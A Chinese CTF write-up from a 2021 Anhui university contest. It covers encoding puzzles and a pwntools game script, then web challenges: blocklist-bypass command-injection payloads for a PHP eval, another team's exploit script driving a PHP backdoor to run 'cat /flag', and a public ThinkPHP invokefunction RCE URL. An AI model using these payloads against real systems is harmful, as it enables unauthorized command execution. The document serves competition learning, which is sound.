首届安徽省“追日杯”大学生网络安全挑战赛-wp

混了个三等奖,奖状至今未发(主办方跑路了。。。)

MISC

checkin

flag{welcome_to_zrb@2021}

阵法的奥秘

提示是8进制,观察到最后的数字是变化的

1
2
3
4
5
6
7
8
9
PING zrb.edisec.net: 56 data bytes
64 bytes from zrb.edisec.net: icmp_seq=3 ttl=51 time=97.77 ms
64 bytes from zrb.edisec.net: icmp_seq=3 ttl=51 time=97.78 ms
64 bytes from zrb.edisec.net: icmp_seq=3 ttl=51 time=97.83 ms
64 bytes from zrb.edisec.net: icmp_seq=3 ttl=51 time=97.77 ms
64 bytes from zrb.edisec.net: icmp_seq=3 ttl=51 time=97.81 ms
64 bytes from zrb.edisec.net: icmp_seq=3 ttl=51 time=97.81 ms
...

先提取出来
与最小的76取余后转字符串
最后两层base64

1
2
3
4
5
6
7
8
9
10
11
import base64
a=[77,78,83,77,81,81,76,82,77,76,82,80,77,80,77,77,76,82,77,81,83,77,83,78,77,80,80,77,76,82,77,81,76,77,80,77,77,78,82,77,76,81,77,79,78,77,82,77,77,79,77,77,81,78,77,77,77,77,83,76,77,80,78,77,76,82,77,80,83,77,83,76,77,78,81,77,81,82,77,79,78,77,79,77,77,77,81,76,82,77,77,77,78,77,82,82,77,78,80,77,78,80,77,76,81,76,82,81,77,78,78,77,76,83,77,77,77,77,83,77,77,77,81,77,79,76,77,80,80,77,80,77,77,78,83,77,76,82,77,76,82,76,82,80,77,79,78,77,76,81,77,80,80,77,82,78,77,80,80,76,82,78,77,77,78,77,82,76,77,78,78,77,81,78,77,81,79,76,83,81]
d=''
for i in a:
d=d+str(i%76)
e=''
for i in range(0,len(d),3):
e=e+chr(int(d[i:i+3],8))
z=base64.b64decode(e)
z=base64.b64decode(z)
print(z)

偷走的flag

解压得到这是一个地址.txt纸条.rar

小明去食堂吃饭,为了能在吃饭的时候有座位,他把自己的耳机和手机充电器放在桌子上。买饭回来后发现自己的东西不见了。以为被收走了。就去失物招领处询问。询问无果后,在QQ空间发现自己被挂了,说自己给学校丢人,用充电器占座,并把充电器放到了指定位置。小明找到以后发现了一串密文,只有解开密文,才能找到充电器的位置。你能帮助小明发现充电器被藏到哪里了吗。
密文如下:%E2%A1%96%E2%A1%9C%E2%A1%91%E2%A1%97%E2%A1%8B%E2%A1%B1%E2%A1%83%E2%A0%81%E2%A1%94%E2%A1%95%E2%A1%AF%E2%A1%B6%E2%A1%82%E2%A1%9F%E2%A1%9D%E2%A1%AF%E2%A1%99%E2%A1%9D%E2%A1%80%E2%A1%9C%E2%A1%95%E2%A1%9D%3D

很明显的url编码,解密后得到⡖⡜⡑⡗⡋⡱⡃⠁⡔⡕⡯⡶⡂⡟⡝⡯⡙⡝⡀⡜⡕⡝=
盲文编码,在线解密得到flag{As1de_From_implem

用这个作为压缩包密码解压

恭喜你帮助小明找到充电器。但是他的耳机也不见了。通过查询监控发现耳机与充电器一起被拿走了。当他发现耳机时,只剩下一个进水的耳机、一摊水渍和一个被揉搓了好几遍的纸条,上面字迹已经被污染了,但隐约写着:********-I_forg1ve_y0u}。你能帮助小明发现被隐藏的字样吗。

vim中看到U+202C等字符,为0宽加密
解密得到3ntat1on

最后拼接在一起,注意别把0宽字符复制进去
flag{As1de_From_implem3ntat1on-I_forg1ve_y0u}

chess

全自动解密脚本
最后一关手动解即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
# -- coding=utf8 --
from pwn import *
io=remote("ctf.zrb.edisec.net",33741)
win_data=''
if __name__ == '__main__':
n=0
l=[[0]*3]*3
while 1:
if '499/500' in win_data :
p.interactive()
try:
io.sendlineafter('x/y:>','2/2')
ob=io.recvuntil('computer:>',timeout=0.2)
#ob=io.recvuntil('player:>',timeout=2)
#ob=io.recvuntil(str('player:>',timeout=2))
#ob=io.recvuntil(str('player:>',timeout=2)).strip()
ob=io.recvuntil('player:>',timeout=0.2).decode('utf-8')
ob=ob.strip()
#ob=ob.split('/n')
ob=ob.split('\n')
#ob=ob.split('|')
ob1=ob[0].split('|')
ob2=ob[4].split('|')
if '#' in ob1[0] or '#' in ob2[2]:
io.send(b'1/2\n')
io.sendlineafter('x/y:>',b'3/2')
else:
io.send(b'2/1\n')
io.sendlineafter('x/y:>',b'2/3')
try:
ob=io.recvuntil('Can you win',timeout=0.2)
if not ob:
raise Exception("123")
win_data=io.recvuntil('*****').decode('utf-8')
except:
try:
io.send(b'1/1\n')
ob1=io.recvuntil('repeat',timeout=0.2)
if not ob1:
raise Exception("123")
io.send(b'1/3\n')
io.sned(b'3/1\n')
except:
try:
io.send(b'3/3\n')
ob=io.recvuntil('Can you win',timeout=0.2)
if not ob:
raise Exception("123")
win_data=io.recvuntil('*****').decode('utf-8')
except:
#io.interactive()
code=0
for i in range(1,4):
if code:
break
for j in range(1,4):
try:
io.send('%s/%s\n'%(i,j))
ob=io.recvuntil('Can you win',timeout=0.2)
if not ob:
raise Exception("123")
code=1
win_data=io.recvuntil('*****').decode('utf-8')
break
except:
pass
else:
print("第四层发送2/3,接收win正常")
else:
print("第三层接收repeat和发送正常")
print("第二层接收win正常")
except Exception as e:
if 'of range' not in e.args[0]:
io.interactive()
else:
print("成功")
io.interactive()

WEB

gotofly

观察重定向
看运气出flag

2_let_me_rce

1
2
3
4
5
6
7
8
9
<?php
highlight_file(__FILE__);
$cmd=$_GET['cmd'];
if(!preg_match('/sys|pass|exe|file|inc|cat| |\$|\?|\*|more|ca\t|nl|#| |[\x0a]|php|perl|dir|rm|ls|sleep|cut|sh|bash|grep|ash|nc|ping|curl|cat|tac|od|more|less|nl|vi|unique|head|tail|sort|rev|string|find|\$|\(\|\)|\[|\]|\{|\}|\>|\<|\?|\*|;|\||&|\\\\/i',$cmd)){
eval("echo '" . $cmd ."';");
}else{
echo "hacker";
}
?>

当时一打开就被这过滤吓住了,随便试了下就放弃了,赛后想想应该坚持一下,不要放弃
看了wp学到了很多新的知识
比如du命令也能列目录,用sed p读文件

赛后复现:
没有过滤反引号和单双引号

列目录方法1:
先用单引号闭合,然后反引号执行命令,空格用%09绕过

1
?cmd='.`l""s%09/`.'

列目录方法2:
使用du -a /命令

1
?cmd='.`du%09-a%09/`.'

读文件方法1:
原理与列目录方法1一致

1
?cmd='.`ta""c%09/cccccreal_flag_here_ccccfffffffllllllllaggggg`.'

读文件方法2:
使用sed p命令

1
?cmd='.`sed%09p%09/cccccreal_flag_here_ccccfffffffllllllllaggggg%09`.'

伊泽瑞尔的php

赛后复现
WHT战队的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
import zlib
import re
import base64

def x(t,k):
return ''.join([chr(ord(x)^ord(y)) for x,y in zip(t,k*(len(t)/len(k)+1))])

session = requests.Session()
# @eval(@gzuncompress(@x(@base64_decode($m[1]),$k)));
cmd = 'system("cat /flag");'
cmd = zlib.compress(cmd)
cmd = x(cmd,"25ed1bcb")
cmd = base64.b64encode(cmd)

rawBody = "423b0b7200f4{cmd}85fc5ff71c8e".format(cmd=cmd)
print(rawBody)
response = session.post("http://ctf.zrb.edisec.net:45140/index.php", data=rawBody)

print("Response body: %s" % response.content)
res = re.findall(r'niGqOXD4rBhBWZ7t423b0b7200f4(.+)85fc5ff71c8e',response.content)[0]

# $r=@base64_encode(@x(@gzcompress($o),$k));
res = base64.b64decode(res)
res = x(res,"25ed1bcb")
res = zlib.decompress(res)
print(res)

综合渗透

综合渗透-FLAG1

thinkphp框架
简单一扫没有过滤且未修复漏洞
用公开的payload打http://82.156.76.152:8077/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls


首届安徽省“追日杯”大学生网络安全挑战赛-wp
https://www.dr0n.top/posts/45427b40/
作者
dr0n
发布于
2021年12月5日
更新于
2024年3月22日
许可协议